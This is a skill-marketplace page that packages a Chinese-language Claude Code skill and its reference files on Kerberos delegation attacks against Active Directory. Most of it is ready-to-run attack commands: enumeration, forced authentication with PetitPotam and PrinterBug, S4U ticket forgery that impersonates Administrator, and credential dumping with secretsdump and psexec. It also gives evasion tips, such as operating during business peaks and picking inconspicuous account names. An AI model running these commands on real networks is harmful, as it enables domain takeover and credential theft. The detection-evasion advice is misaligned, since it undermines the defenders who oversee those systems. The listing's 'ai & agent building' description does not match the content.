
Ad Delegation Attack
- 25 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
ad-delegation-attack is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- ad-delegation-attack
- AI & Agent Building
- AI-coding skill
Ad Delegation Attack by the numbers
- 25 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,764 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill ad-delegation-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 25 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
Kerberos 委派攻击
触发条件
在以下场景使用本技能:
- BloodHound 发现域内存在非约束/约束委派配置
- 已控制配置了 SPN 的服务账号或机器账号
- 对目标计算机对象拥有 GenericWrite/GenericAll/WriteDacl 权限
- 需要通过委派实现权限提升或横向移动
前置要求
- 有效的域凭据(明文/Hash/票据)
- 已枚举委派配置(或准备枚举)
- 工具: findDelegation.py, getST.py, rbcd.py, addcomputer.py, Rubeus
委派类型速查
| 类型 | 关键标志/属性 | 攻击方式 |
|---|---|---|
| 非约束委派 | TRUSTED_FOR_DELEGATION (UAC 524288) | 捕获访问者 TGT |
| 约束委派 (有协议转换) | msDS-AllowedToDelegateTo + TRUSTED_TO_AUTH_FOR_DELEGATION | S4U2Self + S4U2Proxy |
| 约束委派 (无协议转换) | msDS-AllowedToDelegateTo | 需用户先认证或结合 RBCD |
| RBCD | msDS-AllowedToActOnBehalfOfOtherIdentity | 配置后 S4U 攻击 |
---
决策树
[开始] 需要利用 Kerberos 委派
│
├─ 已知委派配置?
│ ├─ 否 → Phase 1: 委派枚举
│ └─ 是 → 判断类型
│
├─ 非约束委派 (Unconstrained)
│ ├─ 已控制该机器?
│ │ ├─ 是 → Phase 2: 监听 TGT + 强制认证
│ │ └─ 否 → 需先取得机器控制权
│ └─ 捕获 DC TGT → DCSync / 横向移动
│
├─ 约束委派 (Constrained)
│ ├─ 有协议转换 (TrustedToAuthForDelegation)?
│ │ ├─ 是 → Phase 3: S4U2Self + S4U2Proxy 直接利用
│ │ └─ 否 → 需用户票据或结合 RBCD
│ ├─ 目标服务非 cifs/ldap → altservice 技巧改写 SPN
│ └─ 获取 ST → 访问目标服务
│
├─ RBCD
│ ├─ 对目标有写权限?
│ │ ├─ 是 → Phase 4: RBCD 攻击
│ │ └─ 否 → 寻找 ACL 路径
│ ├─ MAQ > 0 或已有机器账号 → 创建/使用机器账号
│ └─ 配置 → S4U → 访问 → 清理
│
└─ 无委派可利用 → 检查 ACL,考虑其他路径---
Phase 1: 委派枚举
目标: 发现域内所有委派配置
# findDelegation.py (推荐,一次发现所有类型)
findDelegation.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <DC_IP>输出示例:
AccountName AccountType DelegationType DelegationRightsTo
------------ ----------- ---------------------------------- --------------------------
DC01$ Computer Unconstrained N/A
SVC_SQL User Constrained w/ Protocol Transition MSSQLSvc/db01.domain.local
WEB01$ Computer Constrained http/app01.domain.localLDAP 过滤器
# 非约束委派 (排除 DC)
(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(primaryGroupID=516)))
# 约束委派
(&(objectCategory=*)(msDS-AllowedToDelegateTo=*))
# RBCD
(&(objectCategory=computer)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))PowerView
# 非约束委派 (排除 DC)
Get-DomainComputer -Unconstrained | Where-Object {$_.name -notlike "*DC*"}
# 约束委派
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegatetoBloodHound Cypher
MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name STARTS WITH 'DC' RETURN c.name
MATCH (u)-[:AllowedToDelegate]->(c:Computer) RETURN u.name, c.name
MATCH p=(u)-[:GenericWrite|GenericAll|WriteDacl]->(c:Computer) RETURN p---
Phase 2: 非约束委派利用
前提: 已控制一台非 DC 的 TRUSTED_FOR_DELEGATION 机器
原理: 用户访问时 KDC 在 ST 中嵌入 TGT,服务器缓存到 LSASS。提取即可冒充。
→ references/unconstrained-delegation.md
2.1 监听 TGT
Rubeus.exe monitor /interval:10 /nowrap
Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$2.2 强制认证触发
# Coercer (集成多种方法)
coercer coerce -u <USER> -p <PASSWORD> -d <DOMAIN> -l <UNCONSTRAINED_MACHINE> -t <DC_IP>
# PetitPotam (MS-EFSRPC)
PetitPotam.py <UNCONSTRAINED_MACHINE> <DC_IP>
# PrinterBug (MS-RPRN)
SpoolSample.exe <DC_HOSTNAME> <UNCONSTRAINED_MACHINE>2.3 使用捕获的 TGT
# 导入票据并 DCSync
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<USER> /password:FakePass /ticket:<BASE64_TGT>
steal_token <PID>
dcsync <DOMAIN> <DOMAIN>\krbtgt# Linux
export KRB5CCNAME=dc01.ccache
secretsdump.py -k -no-pass '<DOMAIN>/DC01$@dc01.<DOMAIN>'---
Phase 3: 约束委派利用
前提: 控制约束委派服务账号/机器账号的凭据
→ references/constrained-delegation.md
3A: 有协议转换 — S4U2Self + S4U2Proxy
# getST.py
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
<DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>
# 使用 Hash
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
-hashes :<NT_HASH> <DOMAIN>/<SERVICE_ACCOUNT>
# 使用票据
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass <TARGET_FQDN># Rubeus
Rubeus.exe s4u /user:<SERVICE_ACCOUNT> /rc4:<NT_HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET_FQDN> /pttaltservice 技巧
ST 中的 sname 未签名保护,可改写为同主机的其他服务:
# 原目标 time/dc01 → 改为 ldap 用于 DCSync
getST.py -spn time/<DC_FQDN> -impersonate Administrator \
-altservice cifs/<DC_FQDN> <DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:time/<DC_FQDN> /altservice:ldap /user:<SERVICE_ACCOUNT> /ticket:<BASE64_TGT> /nowrap3B: 无协议转换
S4U2Self 票据不可转发,需额外手段:
# 方法 1: 结合 RBCD (在服务账号自身配置)
rbcd.py -delegate-from '<SERVICE_ACCOUNT>' -delegate-to '<SERVICE_ACCOUNT>$' \
-action write <DOMAIN>/<USER>:<PASSWORD>
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
<DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD># 方法 2: 捕获用户可转发票据后 S4U2Proxy
Rubeus.exe monitor /interval:5 /filteruser:Administrator
Rubeus.exe s4u /ticket:<CAPTURED_TGT> /msdsspn:cifs/<TARGET_FQDN> /ptt---
Phase 4: 基于资源的约束委派 (RBCD)
前提: 对目标有 GenericWrite/GenericAll/WriteDacl + 可创建或已有机器账号
→ references/rbcd-attack.md
4.1 前提检查
# 检查 MAQ
crackmapexec ldap <DC_IP> -u <USER> -p <PASSWORD> -M maq# 检查 ACL
Get-DomainObjectAcl -Identity "<TARGET>" -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDacl"
}4.2 创建机器账号
addcomputer.py -computer-name 'YOURPC$' -computer-pass 'P@ssw0rd123' \
-dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>4.3 配置 RBCD
rbcd.py -delegate-from 'YOURPC$' -delegate-to '<TARGET>$' -action write \
-dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>4.4 S4U 攻击
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
-dc-ip <DC_IP> <DOMAIN>/'YOURPC$':'P@ssw0rd123'
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass <TARGET_FQDN>Rubeus.exe hash /password:P@ssw0rd123 /user:YOURPC$ /domain:<DOMAIN>
Rubeus.exe s4u /user:YOURPC$ /rc4:<COMPUTED_HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET_FQDN> /ptt4.5 清理
rbcd.py -delegate-to '<TARGET>$' -action flush -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
addcomputer.py -computer-name 'YOURPC$' -delete -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>Get-DomainComputer -Identity <TARGET> | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity---
常见问题排查
S4U 失败: KDC_ERR_BADOPTION
1. 被模拟用户在 Protected Users 组 — 换一个用户 2. 用户标记 "Account is sensitive and cannot be delegated" — 换用户 3. 服务账号 SPN 缺失 — 确认已注册 4. 无协议转换票据不可转发 — 结合 RBCD
无法创建机器账号
1. 检查 ms-DS-MachineAccountQuota (默认 10) 2. 配额耗尽 → 使用已控制的机器账号 3. 查找域内已有 SPN 的用户账号
RBCD 配置成功但 S4U 失败
1. 确认机器账号有 SPN (HOST/YOURPC 自动注册) 2. rbcd.py -action read 验证属性写入 3. 确认 DNS 解析正确 — SPN 必须与 DNS 匹配
---
工具参考
| 工具 | 用途 | 平台 |
|---|---|---|
| findDelegation.py | 枚举所有委派配置 | Linux |
| getST.py | S4U 攻击获取服务票据 | Linux |
| rbcd.py | 配置/读取/清除 RBCD | Linux |
| addcomputer.py | 创建/删除机器账号 | Linux |
| Rubeus | Kerberos 票据操作 | Windows |
| Coercer | 强制认证 (集成多种方法) | Linux |
| PetitPotam | MS-EFSRPC 强制认证 | 跨平台 |
---
深入参考
- → references/unconstrained-delegation.md — TGT 缓存机制、强制认证触发、检测规避
- → references/constrained-delegation.md — S4U 协议机制、协议转换、altservice 技巧、跨域委派
- → references/rbcd-attack.md — RBCD 完整攻击链、替代路径、Shadow Credentials、清理与 OPSEC
约束委派攻击详解
S4U2Self + S4U2Proxy 协议机制
S4U2Self (Service for User to Self)
服务账号代表任意用户向 KDC 请求一张 "该用户访问本服务" 的 Service Ticket。此过程不需要用户的凭据或实际参与。
请求: 服务 A 向 KDC 声明 "用户 X 正在访问我,请给我一张票据" 响应: KDC 返回一张 User X → Service A 的 ST
关键点:
- 如果服务 A 设置了
TRUSTED_TO_AUTH_FOR_DELEGATION,返回的 ST 带有 Forwardable 标志 - 如果没有该标志,返回的 ST 不可转发,无法直接用于 S4U2Proxy
S4U2Proxy (Service for User to Proxy)
服务 A 使用 S4U2Self 获取的 ST 作为 "evidence",向 KDC 请求一张 "该用户访问目标服务 B" 的 ST。
请求: 服务 A 提交 User X → Service A 的 ST,请求 User X → Service B 的 ST 响应: KDC 验证委派配置后返回 User X → Service B 的 ST
关键点:
- KDC 检查
msDS-AllowedToDelegateTo中是否包含 Service B - 需要 evidence 票据带有 Forwardable 标志 (有协议转换时)
- 返回的 ST 可直接用于访问目标服务
完整流程
攻击者控制 ServiceA (有约束委派配置)
│
├─ Step 1: S4U2Self
│ 请求: ServiceA → KDC "为 Administrator 生成访问 ServiceA 的 ST"
│ 响应: KDC → ServiceA ST(Administrator → ServiceA) [Forwardable]
│
├─ Step 2: S4U2Proxy
│ 请求: ServiceA → KDC "用此 ST 为 Administrator 请求访问 TargetService"
│ 响应: KDC → ServiceA ST(Administrator → TargetService)
│
└─ Step 3: 使用 ST 访问目标
ServiceA → TargetService (以 Administrator 身份)---
有协议转换 vs 无协议转换
有协议转换 (TrustedToAuthForDelegation)
UAC 标志: TRUSTED_TO_AUTH_FOR_DELEGATION (0x1000000 / 16777216)
特征:
- S4U2Self 返回可转发票据 (Forwardable=1)
- 可直接链接 S4U2Proxy
- 不需要用户实际认证
- findDelegation.py 输出:
Constrained w/ Protocol Transition
# 检查是否有协议转换
# UAC 值包含 16777216 = 有协议转换
python3 -c "print(bool(<UAC_VALUE> & 0x1000000))"无协议转换
特征:
- S4U2Self 返回不可转发票据 (Forwardable=0)
- 不能直接用于 S4U2Proxy
- findDelegation.py 输出:
Constrained - 需要额外手段获取可转发票据
绕过方法:
方法 1: 结合 RBCD
├─ 在服务账号自身配置 RBCD
├─ 通过 RBCD 路径获取可转发 ST
└─ 使用该 ST 进行 S4U2Proxy
方法 2: 捕获用户票据
├─ 等待/诱导目标用户对服务认证
├─ 从 LSASS 提取该用户的可转发 ST
└─ 使用该 ST 进行 S4U2Proxy---
altservice 技巧
原理
Kerberos ST 中的 sname (服务名) 字段不在 KDC 签名的 PAC 范围内。攻击者获取 ST 后,可以修改 sname 从而访问同一主机上的其他服务。
例如: 约束委派目标是 time/dc01.domain.local,可改写为:
cifs/dc01.domain.local— SMB 文件共享ldap/dc01.domain.local— LDAP 访问 (可 DCSync)http/dc01.domain.local— HTTP/WinRMhost/dc01.domain.local— WMI/PSRemoting
impacket getST.py 用法
# 直接指定想要的 SPN (impacket 会自动处理)
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
<DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>
# 使用 -altservice 显式替换
getST.py -spn time/<TARGET_FQDN> -impersonate Administrator \
-altservice cifs <DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>
# 请求多个替代服务
getST.py -spn time/<TARGET_FQDN> -impersonate Administrator \
-altservice cifs,ldap,http <DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>Rubeus 用法
# 单个替代服务
Rubeus.exe s4u /user:<SERVICE_ACCOUNT> /rc4:<NT_HASH> /impersonateuser:Administrator /msdsspn:time/<TARGET_FQDN> /altservice:cifs /ptt
# 多个替代服务
Rubeus.exe s4u /user:<SERVICE_ACCOUNT> /rc4:<NT_HASH> /impersonateuser:Administrator /msdsspn:time/<TARGET_FQDN> /altservice:cifs,ldap,http /nowrap限制条件
- 目标服务必须运行在同一机器账号下 (通常 DC 上所有服务都以 DC$ 运行)
- 某些服务启用了额外校验 (如 LDAP Channel Binding)
- 修改后的 SPN 必须是目标主机实际监听的服务
---
impacket getST.py 参数详解
getST.py [-h]
-spn SPN # 目标 SPN (例: cifs/target.domain.local)
-impersonate USER # 要模拟的用户 (例: Administrator)
-altservice SERVICE # 替代服务名 (例: cifs,ldap)
-dc-ip DC_IP # DC 的 IP 地址
-hashes LMHASH:NTHASH # NTLM Hash (例: :aad3b435...)
-aesKey AES_KEY # AES256 密钥
-k # 使用 Kerberos 认证
-no-pass # 不提示密码
-ts # 显示时间戳
DOMAIN/USER[:PASSWORD] # 服务账号凭据常用组合:
# 明文密码
getST.py -spn cifs/target.domain.local -impersonate Administrator \
domain.local/svc_account:Password123
# NTLM Hash
getST.py -spn cifs/target.domain.local -impersonate Administrator \
-hashes :a87f3a337d73085c45f9416be5787d86 domain.local/svc_account
# AES256 Key
getST.py -spn cifs/target.domain.local -impersonate Administrator \
-aesKey 4a3d8f... domain.local/svc_account
# 完整参数
getST.py -spn cifs/target.domain.local -impersonate Administrator \
-altservice ldap -dc-ip 192.168.1.1 -ts domain.local/svc_account:Password123---
Rubeus s4u 用法
# 基本 S4U (使用 RC4/NTLM)
Rubeus.exe s4u /user:<ACCOUNT> /rc4:<HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET> /ptt
# 使用 AES256
Rubeus.exe s4u /user:<ACCOUNT> /aes256:<KEY> /impersonateuser:Administrator /msdsspn:cifs/<TARGET> /ptt
# 使用 Base64 TGT
Rubeus.exe s4u /ticket:<BASE64_TGT> /impersonateuser:Administrator /msdsspn:cifs/<TARGET> /ptt
# 指定域和 DC
Rubeus.exe s4u /user:<ACCOUNT> /rc4:<HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET> /domain:<DOMAIN> /dc:<DC_FQDN> /ptt
# 输出 Base64 而非 PTT
Rubeus.exe s4u /user:<ACCOUNT> /rc4:<HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET> /nowrap
# altservice
Rubeus.exe s4u /user:<ACCOUNT> /rc4:<HASH> /impersonateuser:Administrator /msdsspn:time/<TARGET> /altservice:cifs,ldap /nowrap---
跨域约束委派
当约束委派配置跨域时 (例如 child.domain.local 的服务委派到 domain.local 的服务),攻击流程基本相同,但需注意:
关键差异
1. S4U2Self 在服务所在域完成 2. S4U2Proxy 需要跨域 referral 票据 3. 需要指定正确的 DC
# 跨域 S4U
getST.py -spn cifs/target.parent.local -impersonate Administrator \
-dc-ip <CHILD_DC_IP> child.parent.local/svc_account:Password123
# impacket 会自动处理跨域 referral限制
- 跨林 (cross-forest) 约束委派已在 2019 年补丁中默认禁用
- 域内和域间 (cross-domain within forest) 仍可利用
- 检查
msDS-AllowedToDelegateTo中的 SPN 是否包含其他域的主机
---
OPSEC 与检测
检测指标
| 事件 | Event ID | 说明 |
|---|---|---|
| S4U2Self | 4769 | 服务账号为其他用户请求 ST,Ticket Options 含 S4U |
| S4U2Proxy | 4769 | Transited Services 字段非空 |
| 票据请求 | 4768 | 服务账号的 TGT 请求 |
攻击方注意事项
- getST.py 的票据默认保存为
<impersonated_user>.ccache,操作后及时清理 - Rubeus s4u 在目标和 DC 上均留下 4769 日志
- altservice 修改不会在日志中体现原始 SPN
- 票据有效期通常 10 小时,续期最长 7 天
- Protected Users 组成员和标记 "Account is sensitive" 的用户无法被模拟
基于资源的约束委派 (RBCD) 攻击详解
RBCD 原理
传统约束委派 vs RBCD
传统约束委派 (Constrained Delegation) 由委派方的 msDS-AllowedToDelegateTo 属性控制,配置需要域管权限 (SeEnableDelegationPrivilege)。
RBCD 由目标资源的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性控制,只需要对目标计算机对象有写权限即可配置。这意味着普通域用户在特定 ACL 条件下即可发起攻击。
攻击逻辑
攻击者对 TargetPC$ 有 GenericWrite 权限
│
├─ 1. 创建/控制一个有 SPN 的账号 (AttackerPC$)
├─ 2. 修改 TargetPC$ 的 msDS-AllowedToActOnBehalfOfOtherIdentity
│ → 允许 AttackerPC$ 代表任意用户委派到 TargetPC$
├─ 3. 以 AttackerPC$ 身份执行 S4U2Self + S4U2Proxy
│ → 获取 Administrator → TargetPC$ 的 ST
└─ 4. 使用 ST 访问 TargetPC$ (cifs/ldap/http 等)msDS-AllowedToActOnBehalfOfOtherIdentity
该属性存储一个安全描述符 (Security Descriptor),格式为二进制 DACL,指定哪些 SID 可以委派到此资源。
---
前提条件检查
检查 1: 对目标的写权限
需要以下任意权限之一:
GenericAll— 完全控制GenericWrite— 写入任意属性WriteDacl— 修改 ACLWritePropertyonmsDS-AllowedToActOnBehalfOfOtherIdentity
# PowerView — 检查当前用户对目标的权限
Get-DomainObjectAcl -Identity "<TARGET>$" -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDacl|WriteProperty"
} | Select-Object SecurityIdentifier, ActiveDirectoryRights
# 解析 SID 为账号名
Get-DomainObjectAcl -Identity "<TARGET>$" -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDacl"
} | ForEach-Object {
$sid = $_.SecurityIdentifier
$name = (New-Object System.Security.Principal.SecurityIdentifier($sid)).Translate([System.Security.Principal.NTAccount])
[PSCustomObject]@{Account=$name; Rights=$_.ActiveDirectoryRights}
}# BloodHound Cypher 查询
MATCH p=(u)-[:GenericWrite|GenericAll|WriteDacl]->(c:Computer) RETURN u.name, c.name检查 2: 机器账号配额 (MAQ)
# crackmapexec 检查 MAQ
crackmapexec ldap <DC_IP> -u <USER> -p <PASSWORD> -M maq
# 输出: MachineAccountQuota: 10
# LDAP 手动查询
ldapsearch -x -H ldap://<DC_IP> -D "<USER>@<DOMAIN>" -w "<PASSWORD>" \
-b "DC=domain,DC=local" "(objectClass=domain)" ms-DS-MachineAccountQuota# PowerView
Get-DomainObject -Identity "DC=domain,DC=local" -Properties ms-DS-MachineAccountQuota如果 MAQ = 0,参见下方 "替代方案" 章节。
检查 3: 现有 RBCD 配置
# rbcd.py 查看当前配置
rbcd.py -delegate-to '<TARGET>$' -action read \
-dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD># PowerView
Get-DomainComputer <TARGET> -Properties msds-allowedtoactonbehalfofotheridentity
# 解析已配置的 SID
$computer = Get-DomainComputer <TARGET> -Properties msds-allowedtoactonbehalfofotheridentity
$sd = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $computer.'msds-allowedtoactonbehalfofotheridentity', 0
$sd.DiscretionaryAcl | ForEach-Object {
Convert-SidToName $_.SecurityIdentifier
}---
完整攻击链
Step 1: 创建机器账号
# addcomputer.py — 创建机器账号
addcomputer.py -computer-name 'YOURPC$' -computer-pass 'P@ssw0rd123' \
-dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
# 验证创建成功
crackmapexec ldap <DC_IP> -u <USER> -p <PASSWORD> \
--kdcHost <DC_FQDN> -M get-desc-users 2>/dev/null# PowerMad
Import-Module PowerMad.ps1
New-MachineAccount -MachineAccount YOURPC -Password $(ConvertTo-SecureString 'P@ssw0rd123' -AsPlainText -Force)
# StandIn
StandIn.exe --computer YOURPC --makeStep 2: 配置 RBCD
# rbcd.py — 配置委派
rbcd.py -delegate-from 'YOURPC$' -delegate-to '<TARGET>$' -action write \
-dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
# 使用 Hash
rbcd.py -delegate-from 'YOURPC$' -delegate-to '<TARGET>$' -action write \
-hashes :<NT_HASH> -dc-ip <DC_IP> <DOMAIN>/<USER>
# 验证
rbcd.py -delegate-to '<TARGET>$' -action read \
-dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD># PowerView 手动配置
$sid = Get-DomainComputer YOURPC -Properties objectsid | Select-Object -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject <TARGET>$ -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}Step 3: S4U 攻击获取票据
# getST.py — 获取 Administrator 的 ST
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
-dc-ip <DC_IP> <DOMAIN>/'YOURPC$':'P@ssw0rd123'
# 使用票据
export KRB5CCNAME=Administrator.ccache# Rubeus — 计算 Hash
Rubeus.exe hash /password:P@ssw0rd123 /user:YOURPC$ /domain:<DOMAIN>
# Rubeus — S4U 攻击
Rubeus.exe s4u /user:YOURPC$ /rc4:<COMPUTED_HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET_FQDN> /pttStep 4: 利用票据
# secretsdump — 导出凭据
secretsdump.py -k -no-pass <TARGET_FQDN>
# psexec — 远程命令执行
psexec.py -k -no-pass <TARGET_FQDN>
# smbclient — 文件操作
smbclient.py -k -no-pass <TARGET_FQDN>
# wmiexec — WMI 执行
wmiexec.py -k -no-pass <TARGET_FQDN>---
替代方案: 已有机器账号凭据
如果已通过其他途径获取了域内机器账号的凭据 (NTLM Hash / AES Key),无需创建新机器账号:
# 直接使用已控制的机器账号
rbcd.py -delegate-from 'OWNED_PC$' -delegate-to '<TARGET>$' -action write \
-dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
# S4U 使用已有机器账号的 Hash
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
-hashes :<MACHINE_NT_HASH> -dc-ip <DC_IP> <DOMAIN>/'OWNED_PC$'适用场景:
- MAQ = 0 无法创建新机器账号
- 已通过 secretsdump 获取机器账号 Hash
- 已通过 NTLM relay 获取机器账号凭据
---
替代路径: Shadow Credentials
当目标计算机支持 PKINIT 且域内有 ADCS (证书服务) 时,可以通过修改 msDS-KeyCredentialLink 属性实现类似效果:
# pywhisker — 添加 Shadow Credential
pywhisker -d <DOMAIN> -u <USER> -p <PASSWORD> --target '<TARGET>$' \
--action add --dc-ip <DC_IP>
# 输出包含 pfx 文件路径和密码
# [+] Created PFX: <TARGET>.pfx
# [+] PFX Password: <RANDOM_PASSWORD>
# 使用证书获取 TGT
gettgtpkinit.py -cert-pfx <TARGET>.pfx -pfx-pass <PFX_PASSWORD> \
<DOMAIN>/'<TARGET>$' <TARGET>.ccache
# 获取 NT Hash (U2U)
getnthash.py -key <AS-REP_KEY> <DOMAIN>/'<TARGET>$'
# 然后可配置 RBCD 或直接使用 HashShadow Credentials 优势:
- 不需要创建机器账号
- 不需要 MAQ > 0
- 操作更隐蔽 (不产生 4741 事件)
Shadow Credentials 前提:
- 域内有至少一个 Enterprise CA
- DC 支持 PKINIT (Windows Server 2016+)
- 对目标有
GenericWrite/GenericAll权限
---
清理命令
必须在攻击完成后执行清理,还原所有修改:
清除 RBCD 配置
# rbcd.py — 清除 (flush) RBCD 属性
rbcd.py -delegate-to '<TARGET>$' -action flush \
-dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
# 验证已清除
rbcd.py -delegate-to '<TARGET>$' -action read \
-dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
# 输出应为空或无委派配置# PowerView — 清除属性
Get-DomainComputer -Identity <TARGET> | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity
# 验证
Get-DomainComputer <TARGET> -Properties msds-allowedtoactonbehalfofotheridentity
# 应返回空删除创建的机器账号
# addcomputer.py — 删除机器账号
addcomputer.py -computer-name 'YOURPC$' -delete \
-dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD># PowerView
Remove-DomainObject -Identity 'YOURPC$'清除 Shadow Credentials (如使用)
# pywhisker — 列出并删除
pywhisker -d <DOMAIN> -u <USER> -p <PASSWORD> --target '<TARGET>$' \
--action list --dc-ip <DC_IP>
pywhisker -d <DOMAIN> -u <USER> -p <PASSWORD> --target '<TARGET>$' \
--action remove --device-id <DEVICE_ID> --dc-ip <DC_IP>清理本地文件
# 删除票据缓存
rm -f *.ccache *.kirbi *.pfx
# 取消环境变量
unset KRB5CCNAME---
OPSEC 注意事项
攻击行为产生的日志
| 操作 | Event ID | 说明 |
|---|---|---|
| 创建机器账号 | 4741 | "A computer account was created" |
| 修改 RBCD 属性 | 5136 | 目录服务属性变更 |
| S4U2Self | 4769 | 票据请求包含 S4U 标志 |
| S4U2Proxy | 4769 | Transited Services 字段非空 |
| 使用票据访问 | 4624 (Type 3) | 网络登录 |
| 删除机器账号 | 4743 | "A computer account was deleted" |
降低检测风险
1. 机器账号命名: 使用符合域内命名规范的名称,避免 YOURPC FAKE01 等明显异常名 2. 操作时间: 在业务高峰期操作,混入正常流量 3. 及时清理: 攻击完成后立即清除 RBCD 配置和机器账号 4. 避免 DCSync: 如果只需要特定机器权限,不必升级到域控 5. 使用已有账号: 优先使用已控制的机器账号而非创建新账号,减少 4741 事件
常见检测规则
蓝队通常监控:
msDS-AllowedToActOnBehalfOfOtherIdentity属性变更 (Event ID 5136)- 短时间内创建机器账号后立即出现 S4U 请求
- 新创建的机器账号发起 S4U2Self/S4U2Proxy
- 非预期来源的 Administrator 网络登录
特殊注意
- RBCD 配置立即生效,无需等待 AD 复制
- 被模拟的用户不能在 Protected Users 组中
- 被模拟的用户不能标记 "Account is sensitive and cannot be delegated"
- 默认 MAQ = 10,每个用户最多创建 10 个机器账号
- 机器账号密码可自定义,默认长度 120 字符随机
- 清理时要同时删除机器账号和 RBCD 配置,遗漏任何一个都会留下痕迹
非约束委派攻击详解
TGT 缓存机制
原理
当服务账号或机器账号设置了 TRUSTED_FOR_DELEGATION 标志 (UAC bit 524288) 时,用户向该服务发起 Kerberos 认证的过程中,KDC 会将用户的 TGT 嵌入到颁发的 Service Ticket 中。服务端收到 ST 后,将 TGT 提取并缓存到 LSASS 内存,以便后续代表用户访问其他服务。
攻击者控制该服务器后,可从 LSASS 中提取所有缓存的 TGT,冒充任意曾经访问过该服务器的用户。
TGT 提取方法
# Rubeus — 列出所有缓存票据
Rubeus.exe triage
# Rubeus — 导出所有 TGT
Rubeus.exe dump /service:krbtgt /nowrap
# Rubeus — 导出指定 LUID 的 TGT
Rubeus.exe dump /luid:0x3e4 /nowrap
# Mimikatz — 导出票据到文件
mimikatz.exe "sekurlsa::tickets /export"# Linux — 若已获取 LSASS dump
pypykatz lsa minidump lsass.dmp -k /tmp/tickets---
Rubeus monitor/dump 模式
monitor 模式 (推荐)
持续监控 LSASS 中新出现的 TGT,适合等待高权限用户访问或配合强制认证使用:
# 基本监控 (每 10 秒检查)
Rubeus.exe monitor /interval:10 /nowrap
# 过滤特定用户
Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$
# 过滤特定用户 + 自动续期
Rubeus.exe monitor /interval:5 /nowrap /filteruser:Administrator /renewtickets输出示例:
[*] Monitoring every 5 seconds for new TGTs
[*] Found new TGT:
User : DC01$@DOMAIN.LOCAL
StartTime : 2026/04/23 10:00:00
EndTime : 2026/04/23 20:00:00
RenewTill : 2026/04/30 10:00:00
ServiceName : krbtgt/DOMAIN.LOCAL
Base64EncodedTicket : doIFwj[...]MuSU8=dump 模式
一次性导出当前所有缓存票据:
# 导出所有 krbtgt 票据
Rubeus.exe dump /service:krbtgt /nowrap
# 导出后导入使用
Rubeus.exe ptt /ticket:<BASE64_TGT>---
强制认证触发
当没有高权限用户主动访问非约束委派服务器时,需要主动触发 DC 或其他高权限机器向该服务器发起认证。
PrinterBug (MS-RPRN)
